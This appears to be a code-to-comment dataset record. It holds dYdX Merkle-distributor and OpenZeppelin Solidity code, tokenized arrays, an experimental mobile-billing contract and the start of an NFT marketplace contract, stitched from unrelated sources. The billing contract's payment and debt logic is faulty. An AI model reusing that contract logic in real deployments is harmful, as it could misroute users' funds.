bytes32 merkleRoot = _PROPOSED_ROOT_.merkleRoot;
uint256 epoch = _PROPOSED_ROOT_.epoch;
bytes memory ipfsCid = _PROPOSED_ROOT_.ipfsCid;
require(merkleRoot != bytes32(0), 'MD1RootUpdates: Proposed root is zero (unset)');
require(epoch == getNextRootEpoch(), 'MD1RootUpdates: Proposed epoch is not next root epoch');
require(
block.timestamp >= _WAITING_PERIOD_END_,
'MD1RootUpdates: Waiting period has not elapsed'
);
// Set the active root.
_ACTIVE_ROOT_.merkleRoot = merkleRoot;
_ACTIVE_ROOT_.epoch = epoch;
_ACTIVE_ROOT_.ipfsCid = ipfsCid;
emit RootUpdated(merkleRoot, epoch, ipfsCid);
}
/**
* @notice Returns true if there is a proposed root waiting to become active, the waiting period
* for that root has elapsed, and root updates are not paused.
*
* @return Boolean `true` if the active root can be updated to the proposed root, else `false`.
*/
function canUpdateRoot()
external
view
returns (bool)
{
return (
hasPendingRoot() &&
block.timestamp >= _WAITING_PERIOD_END_ &&
!_ARE_ROOT_UPDATES_PAUSED_
);
}
// ============ Public Functions ============
/**
* @notice Returns true if there is a proposed root waiting to become active. This is the case if
* and only if the proposed root is not zero and the proposed root epoch is equal to the next
* root epoch.
*/
function hasPendingRoot()
public
view
returns (bool)
{
// Get the proposed parameters.
bytes32 merkleRoot = _PROPOSED_ROOT_.merkleRoot;
uint256 epoch = _PROPOSED_ROOT_.epoch;
if (merkleRoot == bytes32(0)) {
return false;
}
return epoch == getNextRootEpoch();
}
/**
* @notice Get the next root epoch. If the active root is zero, then the next root epoch is zero,
* otherwise, it is equal to the active root epoch plus one.
*/
function getNextRootEpoch()
public
view
returns (uint256)
{
bytes32 merkleRoot = _ACTIVE_ROOT_.merkleRoot;
if (merkleRoot == bytes32(0)) {
return 0;
}
return _ACTIVE_ROOT_.epoch.add(1);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { MD1EpochSchedule } from './MD1EpochSchedule.sol';
import { MD1Roles } from './MD1Roles.sol';
import { MD1Types } from '../lib/MD1Types.sol';
/**
* @title MD1Configuration
* @author dYdX
*
* @notice Functions for modifying the Merkle distributor rewards configuration.
*
* The more sensitive configuration values, which potentially give full control over the contents
* of the Merkle tree, may only be updated by the OWNER_ROLE. Other values may be configured by
* the CONFIG_UPDATER_ROLE.
*
* Note that these configuration values are made available externally but are not used internally
* within this contract, with the exception of the IPFS update period which is used by
* the getIpfsEpoch() function.
*/
abstract contract MD1Configuration is
MD1EpochSchedule,
MD1Roles
{
// ============ Constants ============
uint256 public constant TRADER_SCORE_ALPHA_BASE = 10 ** 18;
// ============ Events ============
event RewardsOracleChanged(
address rewardsOracle
);
event IpnsNameUpdated(
string ipnsName
);
event IpfsUpdatePeriodUpdated(
uint256 ipfsUpdatePeriod
);
event RewardsParametersUpdated(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
);
// ============ Initializer ============
function __MD1Configuration_init(
address rewardsOracle,
string calldata ipnsName,
uint256 ipfsUpdatePeriod,
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
internal
{
_setRewardsOracle(rewardsOracle);
_setIpnsName(ipnsName);
_setIpfsUpdatePeriod(ipfsUpdatePeriod);
_setRewardsParameters(
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
}
// ============ External Functions ============
/**
* @notice Set the address of the oracle which provides Merkle root updates.
*
* @param rewardsOracle The new oracle address.
*/
function setRewardsOracle(
address rewardsOracle
)
external
onlyRole(OWNER_ROLE)
nonReentrant
{
_setRewardsOracle(rewardsOracle);
}
/**
* @notice Set the IPNS name to which trader and market maker exchange statistics are published.
*
* @param ipnsName The new IPNS name.
*/
function setIpnsName(
string calldata ipnsName
)
external
onlyRole(OWNER_ROLE)
nonReentrant
{
_setIpnsName(ipnsName);
}
/**
* @notice Set the period of time after the epoch end after which the new epoch exchange
* statistics should be available on IPFS via the IPNS name.
*
* This can be used as a trigger for “keepers” who are incentivized to call the proposeRoot()
* and updateRoot() functions as needed.
*
* @param ipfsUpdatePeriod The new IPFS update period, in seconds.
*/
function setIpfsUpdatePeriod(
uint256 ipfsUpdatePeriod
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setIpfsUpdatePeriod(ipfsUpdatePeriod);
}
/**
* @notice Set the rewards formula parameters.
*
* @param marketMakerRewardsAmount Max rewards distributed per epoch as market maker incentives.
* @param traderRewardsAmount Max rewards distributed per epoch as trader incentives.
* @param traderScoreAlpha The alpha parameter between 0 and 1, in units out of 10^18.
*/
function setRewardsParameters(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setRewardsParameters(marketMakerRewardsAmount, traderRewardsAmount, traderScoreAlpha);
}
/**
* @notice Set the parameters defining the function from timestamp to epoch number.
*
* @param interval The length of an epoch, in seconds.
* @param offset The start of epoch zero, in seconds.
*/
function setEpochParameters(
uint256 interval,
uint256 offset
)
external
onlyRole(CONFIG_UPDATER_ROLE)
nonReentrant
{
_setEpochParameters(interval, offset);
}
// ============ Internal Functions ============
function _setRewardsOracle(
address rewardsOracle
)
internal
{
_REWARDS_ORACLE_ = IRewardsOracle(rewardsOracle);
emit RewardsOracleChanged(rewardsOracle);
}
function _setIpnsName(
string calldata ipnsName
)
internal
{
_IPNS_NAME_ = ipnsName;
emit IpnsNameUpdated(ipnsName);
}
function _setIpfsUpdatePeriod(
uint256 ipfsUpdatePeriod
)
internal
{
_IPFS_UPDATE_PERIOD_ = ipfsUpdatePeriod;
emit IpfsUpdatePeriodUpdated(ipfsUpdatePeriod);
}
function _setRewardsParameters(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
)
internal
{
require(
traderScoreAlpha <= TRADER_SCORE_ALPHA_BASE,
'MD1Configuration: Invalid traderScoreAlpha'
);
_MARKET_MAKER_REWARDS_AMOUNT_ = marketMakerRewardsAmount;
_TRADER_REWARDS_AMOUNT_ = traderRewardsAmount;
_TRADER_SCORE_ALPHA_ = traderScoreAlpha;
emit RewardsParametersUpdated(
marketMakerRewardsAmount,
traderRewardsAmount,
traderScoreAlpha
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import { IERC20 } from '../../interfaces/IERC20.sol';
import { SafeMath } from './SafeMath.sol';
import { Address } from './Address.sol';
/**
* @title SafeERC20
* @dev From https://github.com/OpenZeppelin/openzeppelin-contracts
* Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1Roles
* @author dYdX
*
* @notice Defines roles used in the MerkleDistributorV1 contract. The hierarchy of roles and
* powers of each role are described below.
*
* Roles:
*
* OWNER_ROLE
* | -> May add or remove addresses from any of the below roles it manages.
* | -> May update the rewards oracle address.
* | -> May update the IPNS name.
* |
* +-- CONFIG_UPDATER_ROLE
* | -> May update parameters affecting the formulae used to calculate rewards.
* | -> May update the epoch schedule.
* | -> May update the IPFS update period.
* |
* +-- PAUSER_ROLE
* | -> May pause updates to the Merkle root.
* |
* +-- UNPAUSER_ROLE
* | -> May unpause updates to the Merkle root.
* |
* +-- CLAIM_OPERATOR_ROLE
* -> May trigger a claim on behalf of a user (but the recipient is always the user).
*/
abstract contract MD1Roles is
MD1Storage
{
bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE');
bytes32 public constant CONFIG_UPDATER_ROLE = keccak256('CONFIG_UPDATER_ROLE');
bytes32 public constant PAUSER_ROLE = keccak256('PAUSER_ROLE');
bytes32 public constant UNPAUSER_ROLE = keccak256('UNPAUSER_ROLE');
bytes32 public constant CLAIM_OPERATOR_ROLE = keccak256('CLAIM_OPERATOR_ROLE');
function __MD1Roles_init()
internal
{
// Assign the OWNER_ROLE to the sender.
_setupRole(OWNER_ROLE, msg.sender);
// Set OWNER_ROLE as the admin of all roles.
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
_setRoleAdmin(CONFIG_UPDATER_ROLE, OWNER_ROLE);
_setRoleAdmin(PAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(UNPAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(CLAIM_OPERATOR_ROLE, OWNER_ROLE);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { MD1Roles } from './MD1Roles.sol';
/**
* @title MD1Pausable
* @author dYdX
*
* @notice Allows authorized addresses to pause updates to the Merkle root.
*
* For the Merkle root to be updated, the root must first be set on the oracle contract, then
* proposed on this contract, at which point the waiting period begins. During the waiting period,
* the root should be verified, and updates should be paused by the PAUSER_ROLE if the root is
* found to be incorrect.
*/
abstract contract MD1Pausable is
MD1Roles
{
// ============ Events ============
/// @notice Emitted when root updates are paused.
event RootUpdatesPaused();
/// @notice Emitted when root updates are unpaused.
event RootUpdatesUnpaused();
// ============ Modifiers ============
/**
* @dev Enforce that a function may be called only while root updates are not paused.
*/
modifier whenNotPaused() {
require(!_ARE_ROOT_UPDATES_PAUSED_, 'MD1Pausable: Updates paused');
_;
}
/**
* @dev Enforce that a function may be called only while root updates are paused.
*/
modifier whenPaused() {
require(_ARE_ROOT_UPDATES_PAUSED_, 'MD1Pausable: Updates not paused');
_;
}
// ============ External Functions ============
/**
* @dev Called by PAUSER_ROLE to prevent proposed Merkle roots from becoming active.
*/
function pauseRootUpdates()
onlyRole(PAUSER_ROLE)
whenNotPaused
nonReentrant
external
{
_ARE_ROOT_UPDATES_PAUSED_ = true;
emit RootUpdatesPaused();
}
/**
* @dev Called by UNPAUSER_ROLE to resume allowing proposed Merkle roots to become active.
*/
function unpauseRootUpdates()
onlyRole(UNPAUSER_ROLE)
whenPaused
nonReentrant
external
{
_ARE_ROOT_UPDATES_PAUSED_ = false;
emit RootUpdatesUnpaused();
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { SafeCast } from '../lib/SafeCast.sol';
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1EpochSchedule
* @author dYdX
*
* @dev Defines a function from block timestamp to epoch number.
*
* Note that the current and IPFS epoch numbers are made available externally but are not used
* internally within this contract.
*
* The formula used is `n = floor((t - b) / a)` where:
* - `n` is the epoch number
* - `t` is the timestamp (in seconds)
* - `b` is a non-negative offset, indicating the start of epoch zero (in seconds)
* - `a` is the length of an epoch, a.k.a. the interval (in seconds)
*/
abstract contract MD1EpochSchedule is
MD1Storage
{
using SafeCast for uint256;
using SafeMath for uint256;
// ============ Events ============
event EpochScheduleUpdated(
MD1Types.EpochParameters epochParameters
);
// ============ Initializer ============
function __MD1EpochSchedule_init(
uint256 interval,
uint256 offset
)
internal
{
_setEpochParameters(interval, offset);
}
// ============ External Functions ============
/**
* @notice Get the epoch at the current block timestamp.
*
* Reverts if epoch zero has not started.
*
* @return The current epoch number.
*/
function getCurrentEpoch()
external
view
returns (uint256)
{
return _getEpochAtTimestamp(
block.timestamp,
'MD1EpochSchedule: Epoch zero has not started'
);
}
/**
* @notice Get the latest epoch number for which we expect to have data available on IPFS.
* This is equal to the current epoch number, delayed by the IPFS update period.
*
* Reverts if epoch zero did not begin at least `_IPFS_UPDATE_PERIOD_` seconds ago.
*
* @return The latest epoch number for which we expect to have data available on IPFS.
*/
function getIpfsEpoch()
external
view
returns (uint256)
{
return _getEpochAtTimestamp(
block.timestamp.sub(_IPFS_UPDATE_PERIOD_),
'MD1EpochSchedule: IPFS epoch zero has not started'
);
}
// ============ Internal Functions ============
function _getEpochAtTimestamp(
uint256 timestamp,
string memory revertReason
)
internal
view
returns (uint256)
{
MD1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_;
uint256 interval = uint256(epochParameters.interval);
uint256 offset = uint256(epochParameters.offset);
require(timestamp >= offset, revertReason);
return timestamp.sub(offset).div(interval);
}
function _setEpochParameters(
uint256 interval,
uint256 offset
)
internal
{
require(interval != 0, 'MD1EpochSchedule: Interval cannot be zero');
MD1Types.EpochParameters memory epochParameters = MD1Types.EpochParameters({
interval: interval.toUint128(),
offset: offset.toUint128()
});
_EPOCH_PARAMETERS_ = epochParameters;
emit EpochScheduleUpdated(epochParameters);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
/**
* @dev Methods for downcasting unsigned integers, reverting on overflow.
*/
library SafeCast {
/**
* @dev Downcast to a uint128, reverting on overflow.
*/
function toUint128(uint256 a) internal pure returns (uint128) {
uint128 b = uint128(a);
require(uint256(b) == a, 'SafeCast: toUint128 overflow');
return b;
}
}
|
* @notice Set the IPNS name to which trader and market maker exchange statistics are published. @param ipnsName The new IPNS name./
|
function setIpnsName(
string calldata ipnsName
)
external
onlyRole(OWNER_ROLE)
nonReentrant
{
_setIpnsName(ipnsName);
}
| 1,681,966 |
[
1,
694,
326,
2971,
3156,
508,
358,
1492,
1284,
765,
471,
13667,
312,
6388,
7829,
7691,
854,
9487,
18,
282,
2359,
2387,
461,
225,
1021,
394,
2971,
3156,
508,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
444,
5273,
2387,
461,
12,
203,
565,
533,
745,
892,
2359,
2387,
461,
203,
225,
262,
203,
565,
3903,
203,
565,
1338,
2996,
12,
29602,
67,
16256,
13,
203,
565,
1661,
426,
8230,
970,
203,
225,
288,
203,
565,
389,
542,
5273,
2387,
461,
12,
625,
2387,
461,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.8;
/*
This creates a public contract in the Ethereum Blockchain.
Experimental contract based on https://github.com/Shultzi/Solidity/blob/master/demo.sol
and partially rewritten by amisolution: https://github.com/amisolution/Test/blob/master/Mobile.sol.
This contract is intended for testing purposes, you are fully responsible for compliance with
present or future regulations of finance, communications and the
universal rights of digital beings.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
Challenges of setting contract:
=> Additional TimeFrame of Delivery required
=> Short Contract duration TimeFrame cannot be handled by large mobile carrier.
=> Service Provider Interexchange Platform to be created for each SIM provider.
*/
contract ContractDestruction{
address public owner;
uint ownerbalance; // TIP: uint is an alias for uint256. Ditto int and int256.
function mortal(){
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner){
throw;
}else{
_;
}
}
function kill() onlyOwner{
suicide(owner);
}
}
contract MyUserName is ContractDestruction{
string public userName;
mapping(address=>Service) public services;
struct Service{
bool active;
uint lastUpdate;
uint256 debt;
}
function MyUserName(string _name){
userName = _name;
}
function registerToProvider(address _providerAddress) onlyOwner {
services[_providerAddress] = Service({
active: true,
lastUpdate: now,
debt: 0
});
}
function setDebt(uint256 _debt){
if(services[msg.sender].active){
services[msg.sender].lastUpdate = now;
services[msg.sender].debt = _debt;
}else{
throw;
}
}
function payToProvider(uint256 _debt, address _providerAddress){
if (!_providerAddress.send(services[msg.sender].debt))
throw;
}
function unsubscribe(address _providerAddress){
if(services[_providerAddress].debt == 0){
services[_providerAddress].active = false;
}else{
throw;
}
}
}
contract ServiceProvider is ContractDestruction{
string public ServiceProvider;
string public operator;
string public servicebill;
function ServiceProvider(
string _UserId,
string _operator,
string _PayMyBill){
ServiceProvider = _UserId;
operator = _operator;
servicebill = _PayMyBill;
}
function setDebt(uint256 _debt, address _userAddress){
MyUserName imediation = MyUserName(_userAddress);
imediation.setDebt(_debt);
}
}
|
TIP: uint is an alias for uint256. Ditto int and int256.
|
uint ownerbalance;
| 1,755,144 |
[
1,
56,
2579,
30,
2254,
353,
392,
2308,
364,
2254,
5034,
18,
463,
305,
869,
509,
471,
509,
5034,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
11890,
3410,
12296,
31,
1875,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
_feeTo = address(this);
_nftBase = NFTBaseLike(nftBase_);
_erc20s = ERC20TokenListLike(erc20s_);
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
require(feeRatio_ <= 100,"NFTMarket/FeeRation_>_100");
_feeRatio = feeRatio_;
}
function getFeeRatio() external view returns(uint256) {
return _feeRatio;
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
